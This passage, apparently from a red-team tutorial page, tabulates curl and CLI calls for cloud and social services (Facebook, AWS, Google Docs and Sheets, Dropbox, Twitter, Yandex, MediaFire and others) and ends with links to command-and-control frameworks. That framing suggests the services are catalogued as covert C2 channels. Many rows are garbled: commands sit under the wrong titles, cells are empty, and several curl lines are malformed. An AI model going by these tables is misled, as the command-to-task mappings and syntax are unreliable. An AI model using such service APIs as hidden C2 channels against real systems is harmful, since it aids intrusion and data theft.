5	Create Playlist	Create a new playlist.	<pre>curl -X POST       'https://www.googleapis.com/youtube/v3/playlists       -H 'Authorization: Bearer {access-token}' -d       '{"snippet":{"title":"My Playlist","description":"Playlist description"},"status":{"privacyStatus":"public"}}'</pre>	<a href="https://www.googleapis.com/youtube/v3/playlists">https://www.googleapis.com/youtube/v3/playlists</a>	POST

# Facebook

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	Retrieve User Profile	Get details of a user's profile.	<pre>curl -X GET 'https://graph.facebook.com/v12.0/me?access_token={access-token}'</pre> <pre>curl -X POST 'https://graph.facebook.com/v12.0/me/feed?message=Hello%20World&amp;access_token={access-token}'</pre>	<a href="https://graph.facebook.com/v12.0/me">https://graph.facebook.com/v12.0/me</a>	GET POST
2	Post to User's Feed	Create a post on a user's feed.	<pre>curl -X GET 'https://graph.facebook.com/v12.0/me/photos?type=uploaded&amp;access_token={access-token}'</pre> <pre>curl -F 'source=@/path/to/photo.jpg' -F https://graph.facebook.com/v12.0/me/photos' 'access_token={access-token}'</pre>	<a href="https://graph.facebook.com/v12.0/me/photos">https://graph.facebook.com/v12.0/me/photos</a>	message>Hello%20World&access_token={access-token}
3	List User's Photos	Retrieve a list of photos uploaded by a user.	<pre>curl -F 'source=@/path/to/photo.jpg' -F https://graph.facebook.com/v12.0/me/photos' 'access_token={access-token}'</pre>	<a href="https://graph.facebook.com/v12.0/me/photos">https://graph.facebook.com/v12.0/me/photos</a>	GET
4	Upload a Photo	Upload a photo to a user's account.	<pre>curl -X DELETE 'https://graph.facebook.com/v12.0/{post-id}?access_token={access-token}'</pre>	<a href="https://graph.facebook.com/v12.0/me/photos">https://graph.facebook.com/v12.0/me/photos</a>	DELETE
5	Delete a Post	Delete a specific post from a user's feed.		<a href="https://graph.facebook.com/v12.0/{post-id}?access_token={access-token}">https://graph.facebook.com/v12.0/{post-id}?access_token={access-token}</a>	

# AWS

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	List S3 Buckets	List all S3 buckets in your account.	<pre>aws s3api list-buckets</pre>	<a href="https://s3.amazonaws.com">s3.amazonaws.com</a>	GET /
2	Create EC2 Instance	Launch a new EC2 instance.	<pre>aws ec2 run-instances --image-id ami-0abcdef1234567890 --count 1 -- instance-type t2.micro --key-name MyKeyPair</pre>	<a href="https://ec2.amazonaws.com">ec2.amazonaws.com</a>	POST / with parameters in request body
3	Invoke Lambda Function	Invoke an AWS Lambda function.	<pre>aws lambda invoke --function-name my-lambda.function out --log-type Tail</pre>	<a href="https://lambda.us-east-1.amazonaws.com">lambda.us-east-1.amazonaws.com</a>	POST /2015-03-31/functions/my-function/invocations
4	Describe RDS Instances	Retrieve details of RDS instances.	<pre>aws rds describe-db-instances</pre>	<a href="https://rds.amazonaws.com">rds.amazonaws.com</a>	POST / with parameters in request body

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
5	Publish to SNS Topic	Publish a message to an SNS topic.	aws sns publish --topic-arn arn:aws:sns:us-west-2:123456789012:my-topic --message "Hello world"	sns.amazonaws.com	POST / with parameters in request body

## Microsoft's Onedrive

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	List Files in Folder	Retrieve a list of files in a specific OneDrive folder.	curl -X GET 'https://graph.microsoft.com/v1.0/me/drive/root:{folder-path}/children' -H 'Authorization: Bearer {access-token}'	https://graph.microsoft.com/v1.0/me/drive/root/{folder-path}/children	GET
2	Upload File	Upload a file to OneDrive.	curl -X PUT 'https://graph.microsoft.com/v1.0/me/drive/root:{folder-path}/{file-name}/content' -H 'Authorization: Bearer {access-token}' -T '{file-path}'	https://graph.microsoft.com/v1.0/me/drive/root/{folder-path}/{file-name}/content	PUT
3	Download File	Download a file from OneDrive.	curl -X GET 'https://graph.microsoft.com/v1.0/me/drive/items/{item-id}/content' -H 'Authorization: Bearer {access-token}' -o '{local-file-path}'	https://graph.microsoft.com/v1.0/me/drive/items/{item-id}/content	GET
4	Delete File	Delete a file from OneDrive.	curl -X DELETE 'https://graph.microsoft.com/v1.0/me/drive/items/{item-id}' -H 'Authorization: Bearer {access-token}'	https://graph.microsoft.com/v1.0/me/drive/items/{item-id}	DELETE
5	Create Folder	Create a new folder in OneDrive.	curl -X POST 'https://graph.microsoft.com/v1.0/me/drive/root/children' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{"name": "{folder-name}", "folder": {}, "@microsoft.graph.conflictBehavior": "rename"}'	https://graph.microsoft.com/v1.0/me/drive/root/children	POST

## Jabber/XMPP protocol

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	Connect to Server	Establish a connection with an XMPP server.	xmpp.connect('server.com')	N/A	N/A

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
2	Authenticate	Log in to the XMPP server with a username and password.	<pre>xmpp.authenticate('username', 'password')</pre>	N/A	N/A
3	Send Message	Send a message to another user.	<pre>xmpp.sendMessage('recipient@server.com', 'Hello, world!')</pre>	N/A	N/A
4	Join Chat Room	Join a multi-user chat room.	<pre>xmpp.joinRoom('room@conference.server.com', 'nickname')</pre>	N/A	N/A
5	Receive Messages	Listen for incoming messages.	<pre>xmpp.onMessage((msg) =&gt; { console.log(msg); })</pre>	N/A	N/A

## Blog

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	Retrieve Posts	Get a list of recent blog posts.	<pre>curl -X GET 'https://example.com/wp-json/wp/v2/posts'</pre>	<a href="https://example.com/wp-json/wp/v2/posts">https://example.com/wp-json/wp/v2/posts</a>	GET
2	Create Post	Create a new blog post.	<pre>curl -X POST 'https://example.com/wp-json/wp/v2/posts' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{"title": "New Post Title", "content": "Post content here", "status": "publish"}'</pre>	<a href="https://example.com/wp-json/wp/v2/posts">https://example.com/wp-json/wp/v2/posts</a>	POST
3	Update Post	Update an existing blog post.	<pre>curl -X POST 'https://example.com/wp-json/wp/v2/posts/{post-id}' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{"title": "Updated Post Title", "content": "Updated content here"}'</pre>	<a href="https://example.com/wp-json/wp/v2/posts/{post-id}">https://example.com/wp-json/wp/v2/posts/{post-id}</a>	POST
4	Delete Post	Delete a blog post.	<pre>curl -X DELETE 'https://example.com/wp-json/wp/v2/posts/{post-id}' -H 'Authorization: Bearer {access-token}'</pre>	<a href="https://example.com/wp-json/wp/v2/posts/{post-id}">https://example.com/wp-json/wp/v2/posts/{post-id}</a>	DELETE
5	Retrieve Comments	Get comments from a specific post.	<pre>curl -X GET 'https://example.com/wp-json/wp/v2/comments?post={post-id}'</pre>	<a href="https://example.com/wp-json/wp/v2/comments?post={post-id}">https://example.com/wp-json/wp/v2/comments?post={post-id}</a>	GET

# Google Docs

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	Read Document Content	Retrieve the content of a Google Docs document.	<pre>curl -X GET 'https://docs.googleapis.com/v1/documents/{documentId}' -H 'Authorization: Bearer {access-token}'</pre>	<a href="https://docs.googleapis.com/v1/documents/{documentId}">https://docs.googleapis.com/v1/documents/{documentId}</a>	GET
2	Create Document	Create a new Google Docs document.	<pre>curl -X POST 'https://docs.googleapis.com/v1/documents' https://docs.googleapis.com/v1 -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{"title": "New Document"}'</pre>	<a href="https://docs.googleapis.com/v1/documents">https://docs.googleapis.com/v1/documents</a>	POST
3	Insert Text	Insert text into a Google Docs document.	<pre>curl -X PATCH 'https://docs.googleapis.com/v1/documents/{documentId}:batchUpdate' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{"requests": [{"insertText": {"location": {"index": 1}, "text": "Your text here"}}]}'</pre>	<a href="https://docs.googleapis.com/v1/documents/{documentId}:batchUpdate">https://docs.googleapis.com/v1/documents/{documentId}:batchUpdate</a>	PATCH
4	Replace Text	Replace text in a Google Docs document.	<pre>curl -X PATCH 'https://docs.googleapis.com/v1/documents/{documentId}:batchUpdate' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{"requests": [{"replaceAllText": {"containsText": {"text": "old text"}, "replaceText": "new text"}}]}'</pre>	<a href="https://docs.googleapis.com/v1/documents/{documentId}:batchUpdate">https://docs.googleapis.com/v1/documents/{documentId}:batchUpdate</a>	PATCH
5	Delete Text	Delete text from a Google Docs document.	<pre>curl -X PATCH 'https://docs.googleapis.com/v1/documents/{documentId}:batchUpdate' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{"requests": [{"deleteContentRange": {"range": {"startIndex": 10, "endIndex": 20}}}]}'</pre>	<a href="https://docs.googleapis.com/v1/documents/{documentId}:batchUpdate">https://docs.googleapis.com/v1/documents/{documentId}:batchUpdate</a>	PATCH

# Google forms

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	Read Form Responses	Retrieve responses from a Google Form (responses are stored in a Google Sheet).	<pre>curl -X GET 'https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}' -H 'Authorization: Bearer {access-token}'</pre>	<a href="https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}">https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}</a>	GET <a href="https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}">https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}</a>
2	Create Google Form	Programmatically create a Google Form using Google Apps Script.	<pre>curl -X POST 'https://script.googleapis.com/v1/scripts/{scriptId}:run' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{"function": "createForm", "parameters": ["Form Title"]}'</pre>	<a href="https://script.googleapis.com/v1/scripts/{scriptId}:run">https://script.googleapis.com/v1/scripts/{scriptId}:run</a>	POST <a href="https://script.googleapis.com/v1/scripts/{scriptId}:run">https://script.googleapis.com/v1/scripts/{scriptId}:run</a>
3	Add Question to Form	Add a question to an existing Google Form using Google Apps Script.	<pre>curl -X POST 'https://script.googleapis.com/v1/scripts/{scriptId}:run' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{"function": "addQuestion", "parameters": ["Form ID", "Question Title"]}'</pre>	<a href="https://script.googleapis.com/v1/scripts/{scriptId}:run">https://script.googleapis.com/v1/scripts/{scriptId}:run</a>	POST <a href="https://script.googleapis.com/v1/scripts/{scriptId}:run">https://script.googleapis.com/v1/scripts/{scriptId}:run</a>
4	Update Form Question	Update a question in a Google Form using Google Apps Script.	<pre>curl -X POST 'https://script.googleapis.com/v1/scripts/{scriptId}:run' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{"function": "updateQuestion", "scriptId": run "parameters": ["Form ID", "Question ID", "New Question Title"]}'</pre>	<a href="https://script.googleapis.com/v1/scripts/{scriptId}:run">https://script.googleapis.com/v1/scripts/{scriptId}:run</a>	POST <a href="https://script.googleapis.com/v1/scripts/{scriptId}:run">https://script.googleapis.com/v1/scripts/{scriptId}:run</a>
5	Delete Form Question	Delete a question from a Google Form using Google Apps Script.	<pre>curl -X POST 'https://script.googleapis.com/v1/scripts/{scriptId}:run' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{"function": "deleteQuestion", "parameters": ["Form ID", "Question ID"]}'</pre>	<a href="https://script.googleapis.com/v1/scripts/{scriptId}:run">https://script.googleapis.com/v1/scripts/{scriptId}:run</a>	POST <a href="https://script.googleapis.com/v1/scripts/{scriptId}:run">https://script.googleapis.com/v1/scripts/{scriptId}:run</a>

# Google appscript

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	Run Script Function	Execute a <b>Run Script</b> function in an Apps Script project.	<pre>curl -X POST 'https://script.googleapis.com/v1/scripts/{scriptId}:run' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{"function": "{\"functionName\": \"parameters\": [\"param1\", \"param2\"], \"devMode\": true}"}</pre>	<a href="https://script.googleapis.com/v1/scripts/{scriptId}:run">https://script.googleapis.com/v1/scripts/{scriptId}:run</a>	POST <a href="https://script.googleapis.com/v1/scripts/{scriptId}:run">https://script.googleapis.com/v1/scripts/{scriptId}:run</a>
2	Create Script Project	Create a new Apps Script project.	<pre>curl -X POST 'https://script.googleapis.com/v1/projects' https://script.googleapis.com/v1/projects -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{"title": "New Project"}'</pre>	<a href="https://script.googleapis.com/v1/projects">https://script.googleapis.com/v1/projects</a>	POST <a href="https://script.googleapis.com/v1/projects">https://script.googleapis.com/v1/projects</a>
3	Get Script Project Content	Retrieve the content of an Apps Script project.	<pre>curl -X GET 'https://script.googleapis.com/v1/projects/{scriptId}/content' -H 'Authorization: Bearer {access-token}'</pre>	<a href="https://script.googleapis.com/v1/projects/{scriptId}/content">https://script.googleapis.com/v1/projects/{scriptId}/content</a>	GET <a href="https://script.googleapis.com/v1/projects/{scriptId}/content">https://script.googleapis.com/v1/projects/{scriptId}/content</a>
4	Update Script Project	Update the content of an Apps Script project.	<pre>curl -X PUT 'https://script.googleapis.com/v1/projects/{scriptId}/content' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{"files": [{"name": "hello", "type": "SERVER_JS", "source": "function hello() {\n    return 'Hello,\n    world!';\n}"}]}</pre>	<a href="https://script.googleapis.com/v1/projects/{scriptId}/content">https://script.googleapis.com/v1/projects/{scriptId}/content</a>	PUT <a href="https://script.googleapis.com/v1/projects/{scriptId}/content">https://script.googleapis.com/v1/projects/{scriptId}/content</a>
5	Deploy Script Project	Create a deployment from an Apps Script project.	<pre>curl -X POST 'https://script.googleapis.com/v1/projects/{scriptId}/deployments' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{"versionNumber": "1", "manifestFileName": "appsscript", "description": "My Deployment"}'</pre>	<a href="https://script.googleapis.com/v1/projects/{scriptId}/deployments">https://script.googleapis.com/v1/projects/{scriptId}/deployments</a>	POST <a href="https://script.googleapis.com/v1/projects/{scriptId}/deployments">https://script.googleapis.com/v1/projects/{scriptId}/deployments</a>

# Google sheet

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	Read Spreadsheet Data	Retrieve data from a specific range in a Google Sheet.	<pre>curl -X GET  'https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}' -H 'Authorization: Bearer {access-token}'</pre>	<a href="https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}">https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}</a>	GET
2	Write Data to Spreadsheet	Write data to a specific range in a Google Sheet.	<pre>curl -X PUT  'https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}?valueInputOption=USER_ENTERED' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{"values": [{"Value1", "Value2"}]}'</pre>	<a href="https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}?valueInputOption=USER_ENTERED">https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}?valueInputOption=USER_ENTERED</a>	PUT
3	Append Data to Spreadsheet	Append data to a specific range in a Google Sheet.	<pre>curl -X POST  'https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}:append?valueInputOption=USER_ENTERED' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{"values": [{"newValue1", "newValue2"}]}'</pre>	<a href="https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}:append?valueInputOption=USER_ENTERED">https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}:append?valueInputOption=USER_ENTERED</a>	POST
4	Update Spreadsheet Properties	Update properties of a Google Sheet.	<pre>curl -X PUT  'https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{"requests": [{"updateSpreadsheetProperties": {"properties": {"title": "New Title"}, "fields": "title"}}]}'</pre>	<a href="https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}">https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}</a>	PUT
5	Create New Spreadsheet	Create a new Google Sheet.	<pre>curl -X POST  'https://sheets.googleapis.com/v4/spreadsheets' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{"properties": {"title": "New Spreadsheet"}}'</pre>	<a href="https://sheets.googleapis.com/v4/spreadsheets">https://sheets.googleapis.com/v4/spreadsheets</a>	POST

# Dropbox

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	Upload File	Upload a file to Dropbox.	<pre>curl -X POST https://content.dropboxapi.com/2/files/upload - --header "Authorization: Bearer {access-token}" --header "Dropbox-API-Arg: {\"path\": \"/path/to/destination/file\", \"mode\": \"add\", \"autorename\": true, \"mute\": false, \"strict_conflict\": false}" --header "Content-Type: application/octet-stream" -- data-binary @/path/to/local/file</pre>	<a href="https://content.dropboxapi.com/2/files/upload">https://content.dropboxapi.com/2/files/upload</a>	POST
2	Download File	Download a file from Dropbox.	<pre>curl -X POST https://content.dropboxapi.com/2/files/download https://content.dropboxapi.com/2/files/ --header "Authorization: Bearer {access-token}" --header "Dropbox-API-Arg: {\"path\": \"/path/to/remote/file\"}" -o /path/to/local/file</pre>	<a href="https://content.dropboxapi.com/2/files/download">https://content.dropboxapi.com/2/files/download</a>	POST
3	List Folder Contents	List files and folders in a specific Dropbox folder.	<pre>curl -X POST https://api.dropboxapi.com/2/files/list_folder --header "Authorization: Bearer {access-token}" --header "Content-Type: application/json" -- data "{\"path\": \"/path/to/folder\", \"recursive\": false, \"include_media_info\": false, \"include_deleted\": false, \"include_has_explicit_shared_members\": false}"</pre>	<a href="https://api.dropboxapi.com/2/files/list_folder">https://api.dropboxapi.com/2/files/list_folder</a>	POST
4	Create Folder	Create a new folder in Dropbox.	<pre>curl -X POST https://api.dropboxapi.com/2/files/create_folder_v2 --header "Authorization: Bearer {access-token}" --header "Content-Type: application/json" --data "{\"path\": \"/path/to/new/folder\", \"autorename\": false}"</pre>	<a href="https://api.dropboxapi.com/2/files/create_folder_v2">https://api.dropboxapi.com/2/files/create_folder_v2</a>	POST
5	Delete File or Folder	Delete a file or folder in Dropbox.	<pre>curl -X POST https://api.dropboxapi.com/2/files/delete_v2 --header "Authorization: Bearer {access-token}" --header "Content-Type: application/json" --data "{\"path\": \"/path/to/file/or/folder\"}"</pre>	<a href="https://api.dropboxapi.com/2/files/delete_v2">https://api.dropboxapi.com/2/files/delete_v2</a>	POST

# Twitter

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	Post a Tweet	Publish a tweet to a user's timeline.	<pre>curl -X POST 'https://api.twitter.com/1.1/statuses/update.json' -H 'Authorization: OAuth {oauth-header}' -d 'status=Hello%20World'</pre>	<a href="https://api.twitter.com/1.1/statuses/update.json">https://api.twitter.com/1.1/statuses/update.json</a>	POST
2	Read User Timeline	Retrieve recent tweets from a user's timeline.	<pre>curl -X GET 'https://api.twitter.com/1.1/statuses/user_timeline.json?screen_name={username}&amp;count=2' -H 'Authorization: OAuth {oauth-header}'</pre>	<a href="https://api.twitter.com/1.1/statuses/user_timeline.json">https://api.twitter.com/1.1/statuses/user_timeline.json</a>	GET
3	Stream Tweets	Stream tweets in real-time based on certain criteria.	<pre>curl -X GET 'https://api.twitter.com/1.1/statuses/filter.json?track=twitter' -H 'Authorization: OAuth {oauth-header}'</pre>	<a href="https://api.twitter.com/1.1/statuses/filter.json">https://api.twitter.com/1.1/statuses/filter.json</a>	GET
4	Search Tweets	Search for tweets matching certain keywords.	<pre>curl -X GET 'https://api.twitter.com/1.1/search/tweets.json?q=%23example' -H 'Authorization: OAuth {oauth-header}'</pre>	<a href="https://api.twitter.com/1.1/search/tweets.json">https://api.twitter.com/1.1/search/tweets.json</a>	GET
5	Delete a Tweet	Delete a specific tweet from a user's timeline.	<pre>curl -X POST 'https://api.twitter.com/1.1/statuses/destroy/{id}.json' -H 'Authorization: OAuth {oauth-header}'</pre>	<a href="https://api.twitter.com/1.1/statuses/destroy/{id}.json">https://api.twitter.com/1.1/statuses/destroy/{id}.json</a>	POST

# Yandex

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	Translate Text	Translate to translate text.	<pre>curl -X POST 'https://translate.yandex.net/api/v1.5/tr.json/translate' -d 'key={api-key}&amp;text={text-to-translate}&amp;lang=en-ru'</pre>	<a href="https://translate.yandex.net/api/v1.5/tr.json/translate">https://translate.yandex.net/api/v1.5/tr.json/translate</a>	POST
2	Geocode Location	Convert addresses into geographic coordinates.	<pre>curl -X GET 'https://geocode-maps.yandex.ru/1.x/?format=json&amp;apikey={api-key}&amp;geocode={address}'</pre>	<a href="https://geocode-maps.yandex.ru/1.x/">https://geocode-maps.yandex.ru/1.x/</a>	GET
3	Yandex Disk Upload	Upload a file to Yandex Disk.	<pre>curl -X GET 'https://cloud-api.yandex.net/v1/disk/resources/upload?path={file-path}' -H 'Authorization: OAuth {oauth-token}'</pre>	<a href="https://cloud-api.yandex.net/v1/disk/resources/upload">https://cloud-api.yandex.net/v1/disk/resources/upload</a>	GET

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
4	Yandex Disk Download	Download a file from Yandex Disk.	<pre>curl -X GET 'https://cloud-api.yandex.net/v1/disk/resources/download?path={file-path}' -H 'Authorization: OAuth {oauth-token}'  curl -X POST 'https://stt.api.cloud.yandex.net /speech/v1/stt:recognize' -H 'Authorization: Bearer {iam-token}' --data-binary @{audio-file-path}</pre>	<a href="https://cloud-api.yandex.net/v1/disk/resources/download">https://cloud-api.yandex.net/v1/disk/resources/download</a>	GET https://cloud-api.yandex.net/v1/disk/resources/download
5	Yandex Speech Recognition	Convert speech to text using Yandex SpeechKit.		<a href="https://stt.api.cloud.yandex.net /speech/v1/stt:recognize">https://stt.api.cloud.yandex.net /speech/v1/stt:recognize</a>	POST https://stt.api.cloud.yandex.net /speech/v1/stt:recognize

## Mediafire

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	User Authentication	Authenticate a user and obtain a session token.	<pre>curl -X POST 'https://www.mediafire.com/api/user /get_session_token.php' -d 'email={user-email}&amp;password={user-password}&amp;application_id={app-id}&amp;signature={app-signature}'</pre>	<a href="https://www.mediafire.com/api/user/get_session_token.php">https://www.mediafire.com/api/user/get_session_token.php</a>	POST https://www.mediafire.com/api/user/get_session_token.php
2	Upload File	Upload a file to MediaFire.	<pre>curl -X POST 'https://www.mediafire.com/api/upload.php' -H 'x-mf-session-token: {session-token}' -F 'file=@/path/to/file'</pre>	<a href="https://www.mediafire.com/api/upload.php">https://www.mediafire.com/api/upload.php</a>	POST https://www.mediafire.com/api/upload.php
3	List Files	List files in a user's account.	<pre>curl -X GET 'https://www.mediafire.com/api/folder/get_content.php?folder_key={folder-key}&amp;session_token={session-token}'</pre>	<a href="https://www.mediafire.com/api/folder/get_content.php">https://www.mediafire.com/api/folder/get_content.php</a>	GET https://www.mediafire.com/api/folder/get_content.php
4	Download File	Generate a link to download a file.	<pre>curl -X GET 'https://www.mediafire.com/api/file /get_links.php?quick_key={file-quick-key}&amp;session_token={session-token}'</pre>	<a href="https://www.mediafire.com/api/file/get_links.php">https://www.mediafire.com/api/file/get_links.php</a>	GET https://www.mediafire.com/api/file/get_links.php
5	Delete File	Delete a file from MediaFire.	<pre>curl -X POST 'https://www.mediafire.com/api/file /delete.php' -d 'quick_key={file-quick-key}&amp;session_token={session-token}'</pre>	<a href="https://www.mediafire.com/api/file/delete.php">https://www.mediafire.com/api/file/delete.php</a>	POST https://www.mediafire.com/api/file/delete.php

# rssfeed

ID	Title	Description	Commands and Codes	API	Endpoint (RSS Feed URL)	HTTP Requests
1	Retrieve RSS Feed	Fetch the contents of an RSS feed.	<code>curl -X GET 'http://example.com/feed.xml'</code>	GET	<code>http://example.com/feed.xml</code>	<code>http://example.com/feed.xml</code>
2	Parse RSS Feed	Parse the retrieved RSS feed content (using Python with <code>feedparser</code> ).	<code>python -c "import feedparser; feed = feedparser.parse('http://example.com/feed.xml'); print(feed.entries)"</code>  <code>python -c "import feedparser; feed = feedparser.parse('http://example.com/feed.xml'); [print(entry.title) for entry in feed.entries if 'keyword' in entry.title]"</code>	N/A	<code>http://example.com/feed.xml</code>	<code>http://example.com/feed.xml</code>
3	Filter RSS Feed	Filter the RSS feed for specific items (using Python with <code>feedparser</code> ).	<code>in feed.entries if 'keyword' in entry.title]"</code>	N/A	<code>http://example.com/feed.xml</code>	<code>http://example.com/feed.xml</code>
4	Automate RSS Fetching	Set up a cron job to regularly fetch an RSS feed.	<code>0 * * * * curl -X GET 'http://example.com/feed.xml' -o /path/to/save/feed.xml</code>	GET	<code>http://example.com/feed.xml</code>	<code>http://example.com/feed.xml</code>
5	Convert RSS to JSON	Convert RSS feed to JSON format for easier processing (using Python with <code>feedparser</code> ).	<code>python -c "import feedparser, json; feed = feedparser.parse('http://example.com/feed.xml'); print(json.dumps(feed, indent=4))"</code>	N/A	<code>http://example.com/feed.xml</code>	<code>http://example.com/feed.xml</code>

## Awesome C&C

<https://github.com/tcostam/awesome-command-control>

## Framework

- <https://github.com/postrequest/link>
- <https://github.com/p3nt4/Nuages>
- <https://github.com/facebookarchive/WEASEL>
- <https://github.com/mhaskar/Octopus>
- <https://github.com/cobbr/Covenant>
- <https://github.com/loseys/BlackMamba>
- <https://github.com/SitinCloud/Owlyshield>

Rating: ★★★★★

10 Nov 2023

tutorial

#blue #red

[« Awesome Cobalt BoF\( RTC0022 \)](#)

Share



[comments powered by Disqus](#)

## Explore

[tutorial \(28\)](#)   [news \(1\)](#)   [recipe \(3\)](#)

Copyright © 2023 RedTeamRecipe

Brought to you by [HADESS](#)